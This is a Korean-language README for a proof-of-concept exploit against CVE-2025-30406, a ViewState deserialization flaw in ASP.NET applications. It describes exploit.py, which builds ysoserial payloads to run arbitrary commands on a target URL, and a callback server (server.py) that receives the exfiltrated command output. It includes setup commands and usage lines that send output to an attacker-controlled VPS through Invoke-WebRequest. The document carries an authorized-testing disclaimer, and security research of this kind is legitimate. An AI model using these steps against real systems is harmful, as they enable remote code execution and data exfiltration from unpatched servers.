
CVE-2025-30406 ViewState 익스플로잇 PoC
이것은 ASP.NET 애플리케이션의 CVE-2025-30406 취약점을 대상으로 하는 ViewState 역직렬화(deserialization) 익스플로잇을 시연하는 개념 증명(PoC) 스크립트입니다. ysoserial을 사용하여 악성 ViewState 페이로드를 생성하고, 사용자가 지정한 URL로 전송하여 제공된 명령을 실행합니다. 최상의 결과를 위해 명령 출력은 VPS에서 실행 중인 커스텀 HTTP 서버(server.py)로 유출(exfiltration)될 수 있으며, 이 서버는 타임스탬프, 녹색 프롬프트, 흰색 출력 텍스트로 스타일링된 형식으로 결과를 표시합니다. 이 스크립트는 교육 목적으로만 제작되었으며, 명시적 허가를 받은 시스템에서만 보안 테스트 용도로 사용해야 합니다. 허가 없는 사용은 불법이며 비윤리적입니다.
exploit.py: ViewState 페이로드를 생성하고 전송하는 주요 PoC 스크립트.server.py: 유출된 명령 출력을 스타일링된 형식으로 수신하고 표시하는 HTTP 서버.README.md: 설정 및 사용 방법이 포함된 이 파일.requests 라이브러리 (pip install requests)server.py를 실행할 VPS 또는 서버 (유출에 권장)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py와 같은 디렉터리에 배치하거나 경로를 지정합니다:
유출된 명령 출력을 스타일링된 형식으로 수신하려면 VPS에서 server.py를 실행하세요:
server.py를 VPS로 복사합니다 (예: scp 사용):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000). exploit.py의 -e 플래그와 함께 사용됩니다.필요한 인수와 함께 exploit.py를 실행합니다. -e 플래그는 선택 사항이지만 명령 출력을 server.py로 유출하여 스타일링된 표시를 보려면 강력히 권장됩니다.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: 대상 URL (예: http://target.com/page.aspx) [필수]-c, --command: 실행할 명령 (예: whoami) [필수]-y, --ysoserial: ysoserial 실행 파일 경로 (기본값: ./ysoserial.exe) [선택]-e, --exfil: 명령 출력 유출을 위한 콜백 URL (예: http://your-vps:8000) [선택]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py를 실행 중인 VPS로 유출하며 실행 (권장):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
VPS 또는 로컬 머신에서 HTTP 서버를 시작하여 유출된 출력을 수신합니다:
python3 server.py
서버는 명령 출력을 타임스탬프, 녹색 $ 프롬프트, 가독성을 위한 흰색 텍스트로 표시합니다.
exploit.py):
-e가 제공되면 명령이 출력을 캡처하여 Invoke-WebRequest를 통해 콜백 URL로 전송하도록 래핑됩니다.__VIEWSTATE 매개변수에 페이로드를 포함하여 대상 URL로 전송합니다.server.py):
$ 프롬프트, 흰색 출력 텍스트와 함께 출력합니다.-e 콜백 URL에 대한 공개적으로 접근 가능한 서버가 필요합니다.이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
질문이나 피드백이 있으면 이 저장소에 이슈를 열어 주십시오.